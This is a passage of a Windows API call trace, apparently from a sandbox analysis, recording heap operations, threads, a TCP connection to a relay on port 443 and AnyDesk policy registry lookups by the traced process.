0xe02620 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49500 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49520 | out: hHeap=0x3b0000) returned 1 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49520 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49530 | out: hHeap=0x3b0000) returned 1 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49530 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49540 | out: hHeap=0x3b0000) returned 1 [0197.118] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49540 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0197.118] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0197.119] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0197.119] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49550 | out: hHeap=0x3b0000) returned 1 [0197.119] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49550 [0197.119] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49560 | out: hHeap=0x3b0000) returned 1 [0197.119] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49560 [0197.119] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02540 | out: hHeap=0x3b0000) returned 1 [0197.119] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02540 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0197.120] GetCurrentThreadId () returned 0xa0c [0197.120] GetLastError () returned 0x0 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49500 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49660 [0197.120] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49660 | out: hHeap=0x3b0000) returned 1 [0197.120] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49500 | out: hHeap=0x3b0000) returned 1 [0197.120] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0197.120] GetLastError () returned 0x0 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe2ac98 [0197.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf82c, cbMultiByte=-1, lpWideCharStr=0xe2ac98, cchWideChar=18 | out: lpWideCharStr="connect_proxy_443") returned 18 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe5c758 [0197.120] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b900 [0197.121] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2ac98 | out: hHeap=0x3b0000) returned 1 [0197.121] GetLastError () returned 0x0 [0197.121] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe2ac98 [0197.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3acf82c, cbMultiByte=-1, lpWideCharStr=0xe2ac98, cchWideChar=18 | out: lpWideCharStr="connect_proxy_443") returned 18 [0197.121] GetLastError () returned 0x0 [0197.121] GetSystemTime (in: lpSystemTime=0x3acfbe0 | out: lpSystemTime=0x3acfbe0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x2c3)) [0197.121] GetCurrentThreadId () returned 0xa0c [0197.121] GetCurrentProcessId () returned 0x994 [0197.121] GetLastError () returned 0x0 [0197.122] GetSystemTime (in: lpSystemTime=0x3acfbe0 | out: lpSystemTime=0x3acfbe0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x2c3)) [0197.122] GetCurrentThreadId () returned 0xa0c [0197.122] GetCurrentProcessId () returned 0x994 [0197.122] GetLastError () returned 0x0 [0197.122] GetSystemTime (in: lpSystemTime=0x3acfbe0 | out: lpSystemTime=0x3acfbe0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x2c3)) [0197.122] GetCurrentThreadId () returned 0xa0c [0197.122] GetCurrentProcessId () returned 0x994 [0197.122] GetLastError () returned 0x0 [0197.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x3acf9f4, dwCreationFlags=0x4, lpThreadId=0x3acfa08 | out: lpThreadId=0x3acfa08*=0xb28) returned 0x334 [0197.124] ResumeThread (hThread=0x334) returned 0x1 [0197.124] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0197.125] CloseHandle (hObject=0x33c) returned 1 [0197.125] SwitchToFiber (lpFiber=0x5c4f98) [0197.125] SwitchToFiber (lpFiber=0x5ca728) [0197.125] GetLastError () returned 0x0 [0197.125] SwitchToFiber (lpFiber=0x5c4f98) [0197.125] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583614171028) returned 1 [0197.126] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x265c) returned 0x2 [0197.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe550c0 [0197.303] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2583631927803) returned 1 [0197.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0197.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0197.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0197.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0197.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0197.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0197.304] GetCurrentThreadId () returned 0xa0c [0197.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0197.304] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.304] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2583632031267) returned 1 [0197.304] SwitchToFiber (lpFiber=0x5c4c98) [0197.304] GetLastError () returned 0x0 [0197.305] GetSystemTime (in: lpSystemTime=0x2a7b710 | out: lpSystemTime=0x2a7b710*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x33f)) [0197.305] GetCurrentThreadId () returned 0xa0c [0197.305] GetCurrentProcessId () returned 0x994 [0197.305] GetLastError () returned 0x0 [0197.305] SwitchToFiber (lpFiber=0x5c4f98) [0197.305] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2583632109967) returned 1 [0197.305] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x25a8) returned 0x2 [0197.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55348 [0197.872] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2584652677740) returned 1 [0197.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4be20 [0197.872] GetCurrentThreadId () returned 0xa0c [0197.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc20 | out: hHeap=0x3b0000) returned 1 [0197.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0197.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0197.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0197.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0197.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55330 | out: hHeap=0x3b0000) returned 1 [0197.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0197.873] GetCurrentThreadId () returned 0xa0c [0197.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0197.873] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0197.873] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2584652832967) returned 1 [0197.873] SwitchToFiber (lpFiber=0x5cd4a0) [0197.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc20 [0197.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0197.873] GetLastError () returned 0x0 [0197.874] GetSystemTime (in: lpSystemTime=0x340f7ac | out: lpSystemTime=0x340f7ac*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x13)) [0197.874] GetCurrentThreadId () returned 0xa0c [0197.874] GetCurrentProcessId () returned 0x994 [0197.874] GetLastError () returned 0x0 [0197.874] GetSystemTime (in: lpSystemTime=0x340f92c | out: lpSystemTime=0x340f92c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x13)) [0197.874] GetCurrentThreadId () returned 0xa0c [0197.874] GetCurrentProcessId () returned 0x994 [0197.874] GetLastError () returned 0x0 [0197.875] SwitchToFiber (lpFiber=0x5c4f98) [0197.875] SwitchToFiber (lpFiber=0x5d2978) [0197.875] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0197.875] GetCurrentThreadId () returned 0xa0c [0197.875] GetExitCodeThread (in: hThread=0x334, lpExitCode=0x3acf9b0 | out: lpExitCode=0x3acf9b0) returned 1 [0197.875] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0xffffffff) returned 0x0 [0198.719] CloseHandle (hObject=0x334) returned 1 [0198.719] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559b8 | out: hHeap=0x3b0000) returned 1 [0198.719] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.719] GetLastError () returned 0x0 [0198.720] GetSystemTime (in: lpSystemTime=0x3acfae0 | out: lpSystemTime=0x3acfae0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xbe)) [0198.720] GetCurrentThreadId () returned 0xa0c [0198.720] GetCurrentProcessId () returned 0x994 [0198.720] GetLastError () returned 0x0 [0198.720] htons (hostshort=0x1bb) returned 0xbb01 [0198.720] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x334 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bdc0 [0198.721] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x344 [0198.721] GetCurrentThreadId () returned 0xa0c [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14b) returned 0xe0d7f0 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe559b8 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55948 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55be8 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe2ac98 [0198.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abb8 [0198.722] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f6e8 | out: hHeap=0x3b0000) returned 1 [0198.722] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f640 | out: hHeap=0x3b0000) returned 1 [0198.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f330 | out: hHeap=0x3b0000) returned 1 [0198.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0198.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe17278 | out: hHeap=0x3b0000) returned 1 [0198.723] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0198.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0198.724] WSAEventSelect (s=0x334, hEventObject=0x344, lNetworkEvents=59) returned 0 [0198.724] setsockopt (s=0x334, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0198.724] setsockopt (s=0x334, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0198.724] WSAIoctl (in: s=0x334, dwIoControlCode=0x98000004, lpvInBuffer=0x3acfaa8, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3acfaa4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3acfaa4, lpOverlapped=0x0) returned 0 [0198.724] setsockopt (s=0x334, level=65535, optname=4097, optval="", optlen=4) returned 0 [0198.724] WSAConnect (in: s=0x334, name=0x3acfb00*(sa_family=2, sin_port=0x1bb, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0198.731] WSAGetLastError () returned 10035 [0198.731] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55228 [0198.731] GetTickCount () returned 0x1883789 [0198.731] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b980 [0198.731] QueryPerformanceCounter (in: lpPerformanceCount=0x3acf9e8 | out: lpPerformanceCount=0x3acf9e8*=2584738666523) returned 1 [0198.732] GetCurrentThreadId () returned 0xa0c [0198.732] SwitchToFiber (lpFiber=0x5c4f98) [0198.732] SwitchToFiber (lpFiber=0x5ca728) [0198.732] GetLastError () returned 0x2733 [0198.732] SwitchToFiber (lpFiber=0x5c4f98) [0198.732] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2584738743118) returned 1 [0198.732] WaitForMultipleObjects (nCount=0x7, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x4da5) returned 0x2 [0198.733] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55348 [0198.733] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586726397329) returned 1 [0198.733] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4be00 [0198.733] GetCurrentThreadId () returned 0xa0c [0198.733] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b980 | out: hHeap=0x3b0000) returned 1 [0198.733] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ad08 [0198.733] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0198.733] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0198.733] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0198.733] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.734] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0198.734] GetCurrentThreadId () returned 0xa0c [0198.734] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0198.734] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.734] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586726564239) returned 1 [0198.735] SwitchToFiber (lpFiber=0x5ca728) [0198.735] GetLastError () returned 0x0 [0198.735] GetSystemTime (in: lpSystemTime=0x2e1f434 | out: lpSystemTime=0x2e1f434*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xbe)) [0198.735] GetCurrentThreadId () returned 0xa0c [0198.735] GetCurrentProcessId () returned 0x994 [0198.735] GetLastError () returned 0x0 [0198.735] SwitchToFiber (lpFiber=0x5c4f98) [0198.736] GetLastError () returned 0x0 [0198.736] GetSystemTime (in: lpSystemTime=0x271f65c | out: lpSystemTime=0x271f65c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xce)) [0198.736] GetCurrentThreadId () returned 0xa0c [0198.736] GetCurrentProcessId () returned 0x994 [0198.736] GetLastError () returned 0x0 [0198.736] SwitchToFiber (lpFiber=0x5d2978) [0198.736] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b980 [0198.736] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be00 | out: hHeap=0x3b0000) returned 1 [0198.736] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b980 | out: hHeap=0x3b0000) returned 1 [0198.736] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55228 | out: hHeap=0x3b0000) returned 1 [0198.737] GetCurrentThreadId () returned 0xa0c [0198.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02150 | out: hHeap=0x3b0000) returned 1 [0198.737] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02150 [0198.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0198.737] shutdown (s=0x334, how=2) returned -1 [0198.738] closesocket (s=0x334) returned 0 [0198.738] CloseHandle (hObject=0x344) returned 1 [0198.738] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bdc0 | out: hHeap=0x3b0000) returned 1 [0198.738] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.738] GetCurrentThreadId () returned 0xa0c [0198.739] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe00e28 | out: hHeap=0x3b0000) returned 1 [0198.739] GetLastError () returned 0x0 [0198.739] GetSystemTime (in: lpSystemTime=0x3acfbec | out: lpSystemTime=0x3acfbec*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xce)) [0198.739] GetCurrentThreadId () returned 0xa0c [0198.739] GetCurrentProcessId () returned 0x994 [0198.739] GetLastError () returned 0x0 [0198.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x3acf9f4, dwCreationFlags=0x4, lpThreadId=0x3acfa08 | out: lpThreadId=0x3acfa08*=0xb34) returned 0x334 [0198.740] ResumeThread (hThread=0x334) returned 0x1 [0198.740] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0198.744] CloseHandle (hObject=0x344) returned 1 [0198.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a166cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0198.745] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe320b8 [0198.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a166cc, cbMultiByte=-1, lpWideCharStr=0xe320b8, cchWideChar=27 | out: lpWideCharStr="An unknown error occurred.") returned 27 [0198.745] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x3acf8e4) [0198.747] GetLastError () returned 0x0 [0198.748] GetLastError () returned 0x0 [0198.748] GetLastError () returned 0x0 [0198.748] GetLastError () returned 0x0 [0198.748] GetLastError () returned 0x0 [0198.749] GetLastError () returned 0x0 [0198.749] GetLastError () returned 0x0 [0198.749] GetLastError () returned 0x0 [0198.750] GetLastError () returned 0x0 [0198.750] RtlUnwind (TargetFrame=0x3acfe60, TargetIp=0x15741ff, ExceptionRecord=0x3acf3b4, ReturnValue=0x0) [0198.750] GetLastError () returned 0x0 [0198.750] GetLastError () returned 0x0 [0198.750] GetLastError () returned 0x0 [0198.751] GetLastError () returned 0x0 [0198.751] GetExitCodeThread (in: hThread=0x334, lpExitCode=0x3acecf0 | out: lpExitCode=0x3acecf0) returned 1 [0198.751] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0xffffffff) returned 0x0 [0198.760] CloseHandle (hObject=0x334) returned 1 [0198.760] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.760] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.760] GetLastError () returned 0x0 [0198.760] GetLastError () returned 0x0 [0198.761] GetLastError () returned 0x0 [0198.761] GetLastError () returned 0x0 [0198.761] GetLastError () returned 0x0 [0198.761] GetLastError () returned 0x0 [0198.762] GetSystemTime (in: lpSystemTime=0x3acf098 | out: lpSystemTime=0x3acf098*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xdd)) [0198.762] GetCurrentThreadId () returned 0xa0c [0198.762] GetCurrentProcessId () returned 0x994 [0198.762] GetLastError () returned 0x0 [0198.762] SwitchToFiber (lpFiber=0x5c4f98) [0198.762] GetLastError () returned 0x0 [0198.762] GetSystemTime (in: lpSystemTime=0x271f660 | out: lpSystemTime=0x271f660*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0xdd)) [0198.762] GetCurrentThreadId () returned 0xa0c [0198.762] GetCurrentProcessId () returned 0x994 [0198.762] GetLastError () returned 0x0 [0198.762] SwitchToFiber (lpFiber=0x5ca728) [0198.762] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550d8 | out: hHeap=0x3b0000) returned 1 [0198.762] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0198.763] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe55c90 [0198.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19daa20, cbMultiByte=-1, lpWideCharStr=0xe55c90, cchWideChar=21 | out: lpWideCharStr="ad.anynet.last_relay") returned 21 [0198.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0198.763] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494e0 [0198.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe494e0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0198.763] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.763] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.763] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33048 [0198.763] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0198.763] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0198.764] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.764] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.764] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.764] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe33048 [0198.764] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.lastrelay", lpReserved=0x0, lpType=0x2e1f2c0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0 | out: lpType=0x2e1f2c0*=0x0, lpData=0x0, lpcbData=0x2e1f2c4*=0x0) returned 0x6 [0198.765] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2ec | out: phkResult=0x2e1f2ec*=0x0) returned 0x2 [0198.765] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0198.765] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.765] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.765] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494e0 | out: hHeap=0x3b0000) returned 1 [0198.766] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.766] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 